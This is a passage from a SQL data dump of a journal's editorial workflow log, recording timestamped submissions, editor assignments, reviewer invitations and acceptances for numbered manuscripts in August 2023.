Reviewer',13984,'Publisher',673),(129337,'2023-08-01 09:35:20','Publisher has Invited Reviewer',13984,'Publisher',673),(129338,'2023-08-01 09:35:24','Publisher has Invited Reviewer',13984,'Publisher',673),(129339,'2023-08-01 09:35:28','Publisher has Invited Reviewer',13984,'Publisher',673),(129340,'2023-08-01 09:35:33','Publisher has Invited Reviewer',13984,'Publisher',673),(129341,'2023-08-01 09:35:37','Publisher has Invited Reviewer',13984,'Publisher',673),(129342,'2023-08-01 09:35:42','Publisher has Invited Reviewer',13984,'Publisher',673),(129343,'2023-08-01 09:35:46','Publisher has Invited Reviewer',13984,'Publisher',673),(129344,'2023-08-01 09:35:51','Publisher has Invited Reviewer',13984,'Publisher',673),(129345,'2023-08-01 09:35:55','Publisher has Invited Reviewer',13984,'Publisher',673),(129346,'2023-08-01 09:35:59','Publisher has Invited Reviewer',13984,'Publisher',673),(129347,'2023-08-01 09:36:04','Publisher has Invited Reviewer',13984,'Publisher',673),(129348,'2023-08-01 09:36:08','Publisher has Invited Reviewer',13984,'Publisher',673),(129349,'2023-08-01 14:28:48','Editor has Accepted to review Manuscript',13967,'Editor',191),(129350,'2023-08-01 14:28:58','Editor has been Editor Decision Accepted article',13967,'Editor',191),(129351,'2023-08-01 14:32:50','Reviewer has submitted comments',13967,'Reviewer',21494),(129352,'2023-08-01 14:33:28','Publisher: Accept Notification has been sent to Author',13967,'Publisher',48),(129353,'2023-08-01 14:33:50','Manuscript Updated',13967,'Publisher',48),(129354,'2023-08-01 14:34:08','Publisher has been Accepted Articles  article',13967,'Publisher',48),(129355,'2023-08-01 14:34:18','Manuscript Updated',13967,'Publisher',48),(129356,'2023-08-01 17:08:21','Editor has Accepted to review Manuscript',13985,'Editor',191),(129357,'2023-08-01 17:08:29','Editor has been Editor Decision Accepted article',13985,'Editor',191),(129358,'2023-08-01 17:08:39','Editor has Accepted to review Manuscript',13986,'Editor',191),(129359,'2023-08-01 17:09:57','Editor has been Editor Decision Accepted article',13986,'Editor',191),(129360,'2023-08-01 17:09:57','Editor has been Editor Decision Accepted article',13986,'Editor',191),(129361,'2023-08-01 17:09:57','Editor has been Editor Decision Accepted article',13986,'Editor',191),(129362,'2023-08-01 17:09:57','Editor has been Editor Decision Accepted article',13986,'Editor',191),(129363,'2023-08-01 17:09:57','Editor has been Editor Decision Accepted article',13986,'Editor',191),(129364,'2023-08-01 17:09:57','Editor has been Editor Decision Accepted article',13986,'Editor',191),(129365,'2023-08-01 17:09:57','Editor has been Editor Decision Accepted article',13986,'Editor',191),(129366,'2023-08-01 17:09:57','Editor has been Editor Decision Accepted article',13986,'Editor',191),(129367,'2023-08-01 17:09:57','Editor has been Editor Decision Accepted article',13986,'Editor',191),(129368,'2023-08-01 17:10:43','Manuscript Updated',13985,'Publisher',48),(129369,'2023-08-01 17:10:56','Publisher has been Accepted Articles  article',13985,'Publisher',48),(129370,'2023-08-01 17:58:42','Publisher has been Assigned Editor',13959,'Publisher',988),(129371,'2023-08-01 17:58:53','Publisher has been Assigned Editor',13958,'Publisher',988),(129372,'2023-08-01 17:59:04','Publisher has been Assigned Editor',13957,'Publisher',988),(129373,'2023-08-01 17:59:20','Publisher has been Assigned Editor',13956,'Publisher',988),(129374,'2023-08-02 10:14:39','Publisher has been Accepted Articles  article',13940,'Publisher',984),(129375,'2023-08-02 10:16:41','Publisher has been Accepted Articles  article',13939,'Publisher',984),(129376,'2023-08-02 10:17:08','Publisher has been Accepted Articles  article',13938,'Publisher',984),(129377,'2023-08-02 10:17:38','Publisher has been Accepted Articles  article',13937,'Publisher',984),(129378,'2023-08-02 10:49:02','Manuscript Updated',13986,'Publisher',48),(129379,'2023-08-02 10:49:18','Publisher has been Accepted Articles  article',13986,'Publisher',48),(129380,'2023-08-02 10:49:33','Manuscript Updated',13986,'Publisher',48),(129381,'2023-08-03 01:37:00','Reviewer has submitted comments',13981,'Reviewer',21671),(129382,'2023-08-03 03:11:29','Manuscript Submitted by Author',13992,'Author',14064),(129383,'2023-08-03 09:53:12','Editor has Accepted to review Manuscript',13892,'Editor',1781),(129384,'2023-08-03 09:53:23','Editor has been Editor Decision Accepted article',13892,'Editor',1781),(129385,'2023-08-03 09:57:11','Publisher has been Accepted Articles  article',13892,'Publisher',376),(129386,'2023-08-03 10:00:11','Editor has Accepted to review Manuscript',13948,'Editor',1788),(129387,'2023-08-03 10:00:23','Editor has been Editor Decision Accepted article',13948,'Editor',1788),(129388,'2023-08-03 10:01:41','Publisher has been Accepted Articles  article',13948,'',1050),(129389,'2023-08-03 10:01:53','Publisher has been Accepted Articles  article',13948,'',1050),(129390,'2023-08-03 10:02:05','Publisher has been Accepted Articles  article',13948,'',1050),(129391,'2023-08-03 10:02:21','Publisher has been Accepted Articles  article',13948,'',1050),(129392,'2023-08-03 12:02:13','Publisher has been Accepted Articles  article',13896,'Publisher',274),(129393,'2023-08-03 12:02:36','Publisher has been Accepted Articles  article',13885,'Publisher',274),(129394,'2023-08-03 12:02:54','Publisher has been Accepted Articles  article',13884,'Publisher',274),(129395,'2023-08-03 12:03:12','Publisher has been Accepted Articles  article',13883,'Publisher',274),(129396,'2023-08-03 12:03:31','Publisher has been Accepted Articles  article',13882,'Publisher',274),(129397,'2023-08-03 14:08:17','Publisher has Invited Reviewer',13971,'Publisher',75),(129398,'2023-08-03 14:14:41','Reviewer has submitted comments',13971,'Reviewer',21307),(129399,'2023-08-04 10:23:22','Manuscript Submitted by Publisher',13993,'Publisher',988),(129400,'2023-08-04 10:28:25','Manuscript Submitted by Publisher',13994,'Publisher',988),(129401,'2023-08-04 11:04:41','Publisher has been Assigned Editor',13848,'',1050),(129402,'2023-08-04 11:05:04','Publisher has been Assigned Editor',13850,'',1050),(129403,'2023-08-04 11:05:27','Publisher has been Assigned Editor',13859,'',1050),(129404,'2023-08-04 11:06:57','Editor has Accepted to review Manuscript',13848,'Editor',1788),(129405,'2023-08-04 11:07:11','Editor has been Editor Decision Accepted article',13848,'Editor',1788),(129406,'2023-08-04 11:07:18','Editor has Accepted to review Manuscript',13850,'Editor',1788),(129407,'2023-08-04 11:07:31','Editor has been Editor Decision Accepted article',13850,'Editor',1788),(129408,'2023-08-04 11:07:35','Editor has Accepted to review Manuscript',13859,'Editor',1788),(129409,'2023-08-04 11:07:45','Editor has been Editor Decision Accepted article',13859,'Editor',1788),(129410,'2023-08-04 11:08:48','Publisher has been Accepted Articles  article',13859,'',1050),(129411,'2023-08-04 11:10:23','Publisher has been Accepted Articles  article',13850,'',1050),(129412,'2023-08-04 11:11:22','Publisher has been Accepted Articles  article',13848,'',1050),(129413,'2023-08-04 11:25:00','Publisher has Invited Reviewer',13971,'Publisher',75),(129414,'2023-08-04 11:28:00','Publisher has Invited Reviewer',13971,'Publisher',75),(129415,'2023-08-04 11:32:11','Publisher has Invited Reviewer',13971,'Publisher',75),(129416,'2023-08-04 11:32:52','Publisher has Invited Reviewer',13971,'Publisher',75),(129417,'2023-08-04 11:34:18','Manuscript Submitted by Publisher',13995,'Publisher',673),(129418,'2023-08-04 11:55:01','Publisher has Invited Reviewer',13971,'Publisher',75),(129419,'2023-08-04 11:55:06','Publisher has Invited Reviewer',13971,'Publisher',75),(129420,'2023-08-04 11:55:26','Publisher has Invited Reviewer',13971,'Publisher',75),(129421,'2023-08-04 13:37:49','Publisher has Invited Reviewer',13961,'Publisher',85),(129422,'2023-08-04 13:37:54','Publisher has Invited Reviewer',13961,'Publisher',85),(129423,'2023-08-04 13:37:58','Publisher has Invited Reviewer',13961,'Publisher',85),(129424,'2023-08-04 13:38:03','Publisher has Invited Reviewer',13961,'Publisher',85),(129425,'2023-08-04 13:38:08','Publisher has Invited Reviewer',13961,'Publisher',85),(129426,'2023-08-04 15:02:44','Reviewer has submitted comments',13983,'Reviewer',21614),(129427,'2023-08-04 15:03:35','Editor has Accepted to review Manuscript',13983,'Editor',1732),(129428,'2023-08-04 15:04:10','Editor has been Editor Decision Accepted article',13983,'Editor',1732),(129429,'2023-08-04 15:04:17','Editor has Accepted to review Manuscript',13984,'Editor',1732),(129430,'2023-08-04 15:04:39','Editor has been Editor Decision Accepted article',13984,'Editor',1732),(129431,'2023-08-04 15:27:19','Reviewer has submitted comments',13984,'Reviewer',15183),(129432,'2023-08-04 17:40:34','Reviewer has submitted comments',13961,'Reviewer',18913),(129433,'2023-08-04 17:50:22','Manuscript Updated',13959,'Publisher',988),(129434,'2023-08-05 10:29:26','Editor has Accepted to review Manuscript',13941,'Editor',1783),(129435,'2023-08-05 10:29:37','Editor has Accepted to review Manuscript',13942,'Editor',1783),(129436,'2023-08-05 10:29:41','Editor has Accepted to review Manuscript',13943,'Editor',1783),(129437,'2023-08-05 10:29:44','Editor has Accepted to review Manuscript',13957,'Editor',1783),(129438,'2023-08-05 10:29:49','Editor has Accepted to review Manuscript',13958,'Editor',1783),(129439,'2023-08-05 10:29:52','Editor has Accepted to review Manuscript',13959,'Editor',1783),(129440,'2023-08-05 10:31:21','Editor has Accepted to review Manuscript',13842,'Editor',1779),(129441,'2023-08-05 10:31:25','Editor has Accepted to review Manuscript',13956,'Editor',1779),(129442,'2023-08-05 10:31:25','Editor has Accepted to review Manuscript',13956,'Editor',1779),(129443,'2023-08-05 10:37:49','Manuscript Updated',13941,'Publisher',988),(129444,'2023-08-05 10:38:15','Publisher has been Accepted Articles  article',13941,'Publisher',988),(129445,'2023-08-05 10:38:27','Manuscript Updated',13941,'Publisher',988),(129446,'2023-08-05 10:38:36','Manuscript Updated',13942,'Publisher',988),(129447,'2023-08-05 10:38:57','Publisher has been Accepted Articles  article',13942,'Publisher',988),(129448,'2023-08-05 10:39:09','Manuscript Updated',13942,'Publisher',988),(129449,'2023-08-05 10:39:24','Manuscript Updated',13943,'Publisher',988),(129450,'2023-08-05 10:39:47','Publisher has been Accepted Articles  article',13943,'Publisher',988),(129451,'2023-08-05 10:39:57','Manuscript Updated',13943,'Publisher',988),(129452,'2023-08-05 10:40:10','Manuscript Updated',13956,'Publisher',988),(129453,'2023-08-05 10:40:34','Publisher has been Accepted Articles  article',13956,'Publisher',988),(129454,'2023-08-05 10:40:42','Manuscript Updated',13956,'Publisher',988),(129455,'2023-08-05 10:41:01','Manuscript Updated',13957,'Publisher',988),(129456,'2023-08-05 10:41:21','Publisher has been Accepted Articles  article',13957,'Publisher',988),(129457,'2023-08-05 10:41:43','Manuscript Updated',13957,'Publisher',988),(129458,'2023-08-05 10:41:52','Manuscript Updated',13958,'Publisher',988),(129459,'2023-08-05 10:42:10','Publisher has been Accepted Articles  article',13958,'Publisher',988),(129460,'2023-08-05 10:42:21','Manuscript Updated',13958,'Publisher',988),(129461,'2023-08-05 10:42:39','Publisher has been Accepted Articles  article',13959,'Publisher',988),(129462,'2023-08-05 12:09:33','Publisher has been Assigned Editor',13995,'Publisher',673),(129463,'2023-08-05 12:10:21','Editor has Accepted to review Manuscript',13995,'Editor',1370),(129464,'2023-08-05 12:10:40','Editor has been Editor Decision Accepted article',13995,'Editor',1370),(129465,'2023-08-05 12:17:45','Publisher has been Assigned Editor',13994,'Publisher',988),(129466,'2023-08-05 12:17:57','Publisher has been Assigned Editor',13993,'Publisher',988),(129467,'2023-08-05 12:39:47','Manuscript Updated',13995,'Publisher',673),(129468,'2023-08-05 12:40:00','Publisher has been Accepted Articles  article',13995,'Publisher',673),(129469,'2023-08-05 12:40:11','Manuscript Updated',13995,'Publisher',673),(129470,'2023-08-07 09:34:07','Manuscript Submitted by Author using Submission form',13996,'Author',14066),(129471,'2023-08-07 09:49:44','Manuscript Submitted by Author using Submission form',13997,'Author',14067),(129472,'2023-08-07 09:52:09','Manuscript Submitted by Author using Submission form',13998,'Author',14068),(129473,'2023-08-07 09:55:10','Manuscript Submitted by Author using Submission form',13999,'Author',14069),(129474,'2023-08-07 10:00:00','Manuscript Submitted by Author using Submission form',14000,'Author',14070),(129475,'2023-08-07 10:02:00','Manuscript Submitted by Author using Submission form',14001,'Author',14071),(129476,'2023-08-07 10:04:34','Manuscript Submitted by Author using Submission form',14002,'Author',14072),(129477,'2023-08-07 10:08:19','Manuscript Submitted by Author using Submission form',14003,'Author',14073),(129478,'2023-08-07 10:11:00','Manuscript Submitted by Author using Submission form',14004,'Author',14074),(129479,'2023-08-07 10:16:31','Manuscript Submitted by Publisher',14005,'Publisher',1033),(129480,'2023-08-07 11:12:13','Reviewer has submitted comments',13971,'Reviewer',21378),(129481,'2023-08-07 11:58:42','Manuscript Updated',13971,'Publisher',75),(129482,'2023-08-07 12:00:41','Manuscript Updated',13971,'Publisher',75),(129483,'2023-08-07 12:15:52','Manuscript Updated',13993,'Publisher',988),(129484,'2023-08-07 12:16:25','Publisher has been Accepted Articles  article',13993,'Publisher',988),(129485,'2023-08-07 13:05:52','Manuscript Updated',11951,'Publisher',988),(129486,'2023-08-07 13:06:11','Publisher has been Accepted Articles  article',11951,'Publisher',988),(129487,'2023-08-07 13:06:32','Manuscript Updated',13994,'Publisher',988),(129488,'2023-08-07 13:06:49','Publisher has been Accepted Articles  article',13994,'Publisher',988),(129489,'2023-08-07 13:12:59','Manuscript Submitted by Publisher',14006,'Publisher',48),(129490,'2023-08-07 15:20:43','Publisher has been Assigned Editor',14005,'Publisher',1033),(129491,'2023-08-07 15:20:55','Publisher has been Assigned Editor',14004,'Publisher',1033),(129492,'2023-08-07 15:21:40','Publisher has been Assigned Editor',13996,'Publisher',1033),(129493,'2023-08-07 15:21:58','Publisher has been Assigned Editor',13997,'Publisher',1033),(129494,'2023-08-07 15:22:12','Publisher has been Assigned Editor',13998,'Publisher',1033),(129495,'2023-08-07 15:22:25','Publisher has been Assigned Editor',13999,'Publisher',1033),(129496,'2023-08-07 15:22:37','Publisher has been Assigned Editor',14000,'Publisher',1033),(129497,'2023-08-07 15:23:29','Publisher has been Assigned Editor',14001,'Publisher',1033),(129498,'2023-08-07 15:23:43','Publisher has been Assigned Editor',14002,'Publisher',1033),(129499,'2023-08-07 15:23:55','Publisher has been Assigned Editor',14003,'Publisher',1033),(129500,'2023-08-07 20:36:51','Editor has been Editor Decision Accepted article',2932,'Editor',195),(129501,'2023-08-08 12:19:32','Manuscript Updated',13971,'Publisher',75),(129502,'2023-08-08 12:19:42','Publisher has been Accepted Articles  article',13971,'Publisher',75),(129503,'2023-08-08 12:19:52','Manuscript Updated',13971,'Publisher',75),(129504,'2023-08-08 12:21:44','Publisher: Accept Notification has been sent to Author',13971,'Publisher',75),(129505,'2023-08-08 12:40:30','Author sent Email',13987,'Author',14064),(129506,'2023-08-08 14:45:09','Manuscript Submitted by Author using Submission form',14007,'Author',14076),(129507,'2023-08-08 14:46:59','Manuscript Submitted by Author using Submission form',14008,'Author',14077),(129508,'2023-08-08 14:49:09','Manuscript Submitted by Author using Submission form',14009,'Author',14078),(129509,'2023-08-08 14:51:14','Manuscript Submitted by Author using Submission form',14010,'Author',14079),(129510,'2023-08-08 14:53:29','Manuscript Submitted by Author using Submission form',14011,'Author',14080),(129511,'2023-08-08 16:48:49','Publisher has Invited Reviewer',13987,'Publisher',48),(129512,'2023-08-08 16:48:57','Publisher has Invited Reviewer',13987,'Publisher',48),(129513,'2023-08-08 16:49:01','Publisher has Invited Reviewer',13987,'Publisher',48),(129514,'2023-08-09 09:17:53','Manuscript Submitted by Publisher',14012,'Publisher',48),(129515,'2023-08-09 09:26:16','Manuscript Submitted by Publisher',14013,'Publisher',48),(129516,'2023-08-09 09:26:32','Publisher has been Assigned Editor',14006,'Publisher',48),(129517,'2023-08-09 09:54:34','Publisher has been Accepted Articles  article',13971,'Publisher',75),(129518,'2023-08-09 11:04:47','Manuscript Submitted by Publisher',14014,'Publisher',48),(129519,'2023-08-09 11:58:50','Manuscript Submitted by Publisher',14015,'Publisher',1033),(129520,'2023-08-09 13:04:33','Publisher has been Assigned Editor',14011,'Publisher',994),(129521,'2023-08-09 13:04:49','Publisher has been Assigned Editor',14010,'Publisher',994),(129522,'2023-08-09 13:05:01','Publisher has been Assigned Editor',14009,'Publisher',994),(129523,'2023-08-09 13:05:14','Publisher has been Assigned Editor',14008,'Publisher',994),(129524,'2023-08-09 13:05:26','Publisher has been Assigned Editor',14007,'Publisher',994),(129525,'2023-08-09 15:36:36','Publisher has been Accepted Articles  article',13936,'Publisher',984),(129526,'2023-08-09 15:38:03','Publisher has been Accepted Articles  article',13918,'Publisher',984),(129527,'2023-08-09 15:38:51','Publisher has been Accepted Articles  article',13919,'Publisher',984),(129528,'2023-08-09 15:39:21','Publisher has been Accepted Articles  article',13920,'Publisher',984),(129529,'2023-08-09 15:40:04','Publisher has been Accepted Articles  article',13921,'Publisher',984),(129530,'2023-08-09 15:41:55','Publisher has been Accepted Articles  article',13924,'Publisher',984),(129531,'2023-08-09 15:56:43','Author sent Email',13987,'Author',14064),(129532,'2023-08-10 11:43:08','Publisher has been Assigned Editor',14012,'Publisher',48),(129533,'2023-08-10 11:43:25','Publisher has been Assigned Editor',14013,'Publisher',48),(129534,'2023-08-10 11:43:42','Publisher has been Assigned Editor',14014,'Publisher',48),(129535,'2023-08-10 11:44:25','Publisher has Invited Reviewer',14006,'Publisher',48),(129536,'2023-08-10 11:44:29','Publisher has Invited Reviewer',14006,'Publisher',48),(129537,'2023-08-10 11:45:42','Publisher has Invited Reviewer',14012,'Publisher',48),(129538,'2023-08-10 11:45:46','Publisher has Invited Reviewer',14012,'Publisher',48),(129539,'2023-08-10 11:45:51','Publisher has Invited Reviewer',14012,'Publisher',48),(129540,'2023-08-10 11:46:55','Publisher has Invited Reviewer',14013,'Publisher',48),(129541,'2023-08-10 11:47:00','Publisher has Invited Reviewer',14013,'Publisher',48),(129542,'2023-08-10 11:47:04','Publisher has Invited Reviewer',14013,'Publisher',48),(129543,'2023-08-10 14:59:15','Manuscript Submitted by Author using Submission form',14016,'Author',14085),(129544,'2023-08-10 15:02:15','Manuscript Submitted by Author using Submission form',14017,'Author',14086),(129545,'2023-08-10 15:04:25','Manuscript Submitted by Author using Submission form',14018,'Author',14087),(129546,'2023-08-10 15:06:27','Manuscript Submitted by Author using Submission form',14019,'Author',14088),(129547,'2023-08-10 15:08:13','Manuscript Submitted by Author using Submission form',14020,'Author',14089),(129548,'2023-08-10 16:36:10','Publisher has been Assigned Editor',14015,'Publisher',1033),(129549,'2023-08-10 23:34:48','Manuscript Submitted by Author using Submission form',14021,'Author',14090),(129550,'2023-08-11 10:40:25','Editor has Accepted to review Manuscript',13996,'Editor',1740),(129551,'2023-08-11 10:40:38','Editor has been Editor Decision Accepted article',13996,'Editor',1740),(129552,'2023-08-11 10:40:45','Editor has Accepted to review Manuscript',13997,'Editor',1740),(129553,'2023-08-11 10:40:53','Editor has been Editor Decision Accepted article',13997,'Editor',1740),(129554,'2023-08-11 10:41:00','Editor has Accepted to review Manuscript',13998,'Editor',1740),(129555,'2023-08-11 10:41:06','Editor has been Editor Decision Accepted article',13998,'Editor',1740),(129556,'2023-08-11 10:41:12','Editor has Accepted to review Manuscript',13999,'Editor',1740),(129557,'2023-08-11 10:41:22','Editor has been Editor Decision Accepted article',13999,'Editor',1740),(129558,'2023-08-11 10:41:29','Editor has Accepted to review Manuscript',14000,'Editor',1740),(129559,'2023-08-11 10:41:37','Editor has been Editor Decision Accepted article',14000,'Editor',1740),(129560,'2023-08-11 10:41:48','Editor has Accepted to review Manuscript',14001,'Editor',1740),(129561,'2023-08-11 10:41:54','Editor has been Editor Decision Accepted article',14001,'Editor',1740),(129562,'2023-08-11 10:42:01','Editor has Accepted to review Manuscript',14002,'Editor',1740),(129563,'2023-08-11 10:42:07','Editor has been Editor Decision Accepted article',14002,'Editor',1740),(129564,'2023-08-11 10:42:15','Editor has Accepted to review Manuscript',14003,'Editor',1740),(129565,'2023-08-11 10:42:21','Editor has been Editor Decision Accepted article',14003,'Editor',1740),(129566,'2023-08-11 10:42:27','Editor has Accepted to review Manuscript',14004,'Editor',1740),(129567,'2023-08-11 10:42:36','Editor has been Editor Decision Accepted article',14004,'Editor',1740),(129568,'2023-08-11 10:42:45','Editor has Accepted to review Manuscript',14005,'Editor',1740),(129569,'2023-08-11 10:42:51','Editor has been Editor Decision Accepted article',14005,'Editor',1740),(129570,'2023-08-11 10:43:04','Editor has Accepted to review Manuscript',14015,'Editor',1740),(129571,'2023-08-11 10:43:10','Editor has been Editor Decision Accepted article',14015,'Editor',1740),(129572,'2023-08-11 11:25:16','Publisher has Invited Reviewer',13917,'Publisher',274),(129573,'2023-08-11 11:25:17','Publisher has Invited Reviewer',13917,'Publisher',274),(129574,'2023-08-11 11:25:18','Publisher has Invited Reviewer',13917,'Publisher',274),(129575,'2023-08-11 11:25:18','Publisher has Invited Reviewer',13917,'Publisher',274),(129576,'2023-08-11 11:25:19','Publisher has Invited Reviewer',13917,'Publisher',274),(129577,'2023-08-11 11:25:19','Publisher has Invited Reviewer',13917,'Publisher',274),(129578,'2023-08-11 11:52:43','Publisher has been Assigned Editor',14021,'Publisher',48),(129579,'2023-08-11 11:57:42','Publisher has been Assigned Editor',14020,'Publisher',994),(129580,'2023-08-11 11:57:55','Publisher has been Assigned Editor',14019,'Publisher',994),(129581,'2023-08-11 11:58:06','Publisher has been Assigned Editor',14018,'Publisher',994),(129582,'2023-08-11 11:58:17','Publisher has been Assigned Editor',14017,'Publisher',994),(129583,'2023-08-11 11:58:31','Publisher has been Assigned Editor',14016,'Publisher',994),(129584,'2023-08-11 13:11:11','Editor has Accepted to review Manuscript',14020,'Editor',1790),(129585,'2023-08-11 13:11:15','Editor has Accepted to review Manuscript',14019,'Editor',1790),(129586,'2023-08-11 13:11:20','Editor has Accepted to review Manuscript',14018,'Editor',1790),(129587,'2023-08-11 13:11:25','Editor has Accepted to review Manuscript',14017,'Editor',1790),(129588,'2023-08-11 13:11:30','Editor has Accepted to review Manuscript',14016,'Editor',1790),(129589,'2023-08-11 13:11:35','Editor has Accepted to review Manuscript',14011,'Editor',1790),(129590,'2023-08-11 13:11:40','Editor has Accepted to review Manuscript',14010,'Editor',1790),(129591,'2023-08-11 13:11:46','Editor has Accepted to review Manuscript',14009,'Editor',1790),(129592,'2023-08-11 13:11:51','Editor has Accepted to review Manuscript',14008,'Editor',1790),(129593,'2023-08-11 13:11:56','Editor has Accepted to review Manuscript',14007,'Editor',1790),(129594,'2023-08-11 13:12:11','Editor has been Editor Decision Accepted article',14020,'Editor',1790),(129595,'2023-08-11 13:12:21','Editor has been Editor Decision Accepted article',14019,'Editor',1790),(129596,'2023-08-11 13:12:30','Editor has been Editor Decision Accepted article',14018,'Editor',1790),(129597,'2023-08-11 13:12:40','Editor has been Editor Decision Accepted article',14017,'Editor',1790),(129598,'2023-08-11 13:12:48','Editor has been Editor Decision Accepted article',14016,'Editor',1790),(129599,'2023-08-11 13:12:57','Editor has been Editor Decision Accepted article',14011,'Editor',1790),(129600,'2023-08-11 13:13:03','Editor has been Editor Decision Accepted article',14010,'Editor',1790),(129601,'2023-08-11 13:13:12','Editor has been Editor Decision Accepted article',14009,'Editor',1790),(129602,'2023-08-11 13:13:20','Editor has been Editor Decision Accepted article',14008,'Editor',1790),(129603,'2023-08-11 13:13:27','Editor has been Editor Decision Accepted article',14007,'Editor',1790),(129604,'2023-08-11 14:10:59','Editor has Accepted to review Manuscript',14012,'Editor',194),(129605,'2023-08-11 14:11:07','Editor has Accepted to review Manuscript',14013,'Editor',194),(129606,'2023-08-11 14:11:18','Editor has been Editor Decision Accepted article',14012,'Editor',194),(129607,'2023-08-11 14:11:33','Editor has been Editor Decision Accepted article',14012,'Editor',194),(129608,'2023-08-11 14:13:10','Editor has been Editor Decision Accepted article',14013,'Editor',194),(129609,'2023-08-11 14:16:57','Publisher has been Accepted Articles  article',13996,'Publisher',1033),(129610,'2023-08-11 14:17:14','Publisher has been Accepted Articles  article',13997,'Publisher',1033),(129611,'2023-08-11 14:17:42','Publisher has been Accepted Articles  article',13998,'Publisher',1033),(129612,'2023-08-11 14:17:59','Publisher has been Accepted Articles  article',13999,'Publisher',1033),(129613,'2023-08-11 14:18:15','Publisher has been Accepted Articles  article',14000,'Publisher',1033),(129614,'2023-08-11 14:18:32','Publisher has been Accepted Articles  article',14001,'Publisher',1033),(129615,'2023-08-11 14:18:53','Publisher has been Accepted Articles  article',14002,'Publisher',1033),(129616,'2023-08-11 14:19:12','Publisher has been Accepted Articles  article',14003,'Publisher',1033),(129617,'2023-08-11 14:19:28','Publisher has been Accepted Articles  article',14005,'Publisher',1033),(129618,'2023-08-11 14:20:08','Publisher has been Accepted Articles  article',14015,'Publisher',1033),(129619,'2023-08-11 15:08:17','Manuscript Updated',14020,'Publisher',994),(129620,'2023-08-11 15:08:32','Manuscript Updated',14019,'Publisher',994),(129621,'2023-08-11 15:08:42','Manuscript Updated',14018,'Publisher',994),(129622,'2023-08-11 15:09:00','Manuscript Updated',14017,'Publisher',994),(129623,'2023-08-11 15:09:15','Manuscript Updated',14016,'Publisher',994),(129624,'2023-08-11 15:09:34','Manuscript Updated',14011,'Publisher',994),(129625,'2023-08-11 15:09:43','Manuscript Updated',14010,'Publisher',994),(129626,'2023-08-11 15:09:54','Manuscript Updated',14009,'Publisher',994),(129627,'2023-08-11 15:10:03','Manuscript Updated',14008,'Publisher',994),(129628,'2023-08-11 15:10:11','Manuscript Updated',14007,'Publisher',994),(129629,'2023-08-11 15:11:30','Publisher has been Accepted Articles  article',14020,'Publisher',994),(129630,'2023-08-11 15:12:11','Publisher has been Accepted Articles  article',14019,'Publisher',994),(129631,'2023-08-11 15:12:40','Publisher has been Accepted Articles  article',14018,'Publisher',994),(129632,'2023-08-11 15:12:54','Publisher has been Accepted Articles  article',14017,'Publisher',994),(129633,'2023-08-11 15:13:08','Publisher has been Accepted Articles  article',14016,'Publisher',994),(129634,'2023-08-11 15:13:27','Publisher has been Accepted Articles  article',14011,'Publisher',994),(129635,'2023-08-11 15:13:41','Publisher has been Accepted Articles  article',14010,'Publisher',994),(129636,'2023-08-11 15:14:01','Publisher has been Accepted Articles  article',14009,'Publisher',994),(129637,'2023-08-11 15:14:21','Publisher has been Accepted Articles  article',14008,'Publisher',994),(129638,'2023-08-11 15:14:38','Publisher has been Accepted Articles  article',14007,'Publisher',994),(129639,'2023-08-11 20:36:23','Manuscript Submitted by Author using Submission form',14022,'Author',14092),(129640,'2023-08-12 12:52:41','Reviewer has updated comments',13971,'Reviewer',21377),(129641,'2023-08-12 12:53:34','Reviewer has been sent email to Publisher',13971,'Reviewer',21377),(129642,'2023-08-12 12:53:37','Reviewer has updated comments',13971,'Reviewer',21377),(129643,'2023-08-14 09:43:33','Publisher has Invited Reviewer',13917,'Publisher',274),(129644,'2023-08-14 09:43:34','Publisher has Invited Reviewer',13917,'Publisher',274),(129645,'2023-08-14 09:43:34','Publisher has Invited Reviewer',13917,'Publisher',274),(129646,'2023-08-14 09:43:36','Publisher has Invited Reviewer',13917,'Publisher',274),(129647,'2023-08-14 09:43:36','Publisher has Invited Reviewer',13917,'Publisher',274),(129648,'2023-08-14 09:43:37','Publisher has Invited Reviewer',13917,'Publisher',274),(129649,'2023-08-14 09:49:03','Publisher has Invited Reviewer',14021,'Publisher',48),(129650,'2023-08-14 09:49:08','Publisher has Invited Reviewer',14021,'Publisher',48),(129651,'2023-08-14 09:49:12','Publisher has Invited Reviewer',14021,'Publisher',48),(129652,'2023-08-14 09:49:17','Publisher has Invited Reviewer',14021,'Publisher',48),(129653,'2023-08-14 09:50:19','Manuscript Updated',14012,'Publisher',48),(129654,'2023-08-14 09:50:40','Publisher has been Accepted Articles  article',14012,'Publisher',48),(129655,'2023-08-14 09:50:59','Manuscript Updated',14012,'Publisher',48),(129656,'2023-08-14 09:51:37','Manuscript Updated',14013,'Publisher',48),(129657,'2023-08-14 09:52:13','Publisher has been Accepted Articles  article',14013,'Publisher',48),(129658,'2023-08-14 09:52:25','Manuscript Updated',14013,'Publisher',48),(129659,'2023-08-14 11:03:37','Publisher: Accept Notification has been sent to Author',13971,'Publisher',75),(129660,'2023-08-14 17:09:28','Publisher has been Assigned Editor',14022,'Publisher',248),(129661,'2023-08-16 14:04:02','Manuscript Submitted by Publisher',14023,'',1050),(129662,'2023-08-17 10:18:49','Reviewer has submitted comments',14021,'Reviewer',11714),(129663,'2023-08-17 10:20:07','Editor has Accepted to review Manuscript',14021,'Editor',190),(129664,'2023-08-17 10:20:23','Editor has been Editor Decision Accepted article',14021,'Editor',190),(129665,'2023-08-17 10:22:42','Publisher: Accept Notification has been sent to Author',14021,'Publisher',48),(129666,'2023-08-17 14:56:28','Reviewer has submitted comments',13917,'Reviewer',15746),(129667,'2023-08-17 15:18:20','Reviewer has submitted comments',14013,'Reviewer',21374),(129668,'2023-08-17 15:19:41','Editor has Accepted to review Manuscript',13987,'Editor',192),(129669,'2023-08-17 15:19:51','Editor has been Editor Decision Accepted article',13987,'Editor',192),(129670,'2023-08-17 15:20:38','Publisher: Accept Notification has been sent to Author',13987,'Publisher',48),(129671,'2023-08-17 15:21:06','Publisher has been Accepted Articles  article',13987,'Publisher',48),(129672,'2023-08-18 09:38:56','Publisher has Invited Reviewer',14014,'Publisher',48),(129673,'2023-08-18 09:39:00','Publisher has Invited Reviewer',14014,'Publisher',48),(129674,'2023-08-18 09:57:04','Editor has Accepted to review Manuscript',13917,'Editor',1670),(129675,'2023-08-18 09:57:22','Editor has been Editor Decision Accepted article',13917,'Editor',1670),(129676,'2023-08-18 11:21:18','Publisher has been Accepted Articles  article',13917,'Publisher',274),(129677,'2023-08-18 13:52:37','Manuscript Updated',14021,'Publisher',48),(129678,'2023-08-18 13:52:54','Publisher has been Accepted Articles  article',14021,'Publisher',48),(129679,'2023-08-18 13:53:20','Manuscript Updated',14021,'Publisher',48),(129680,'2023-08-18 15:37:25','Editor has Accepted to review 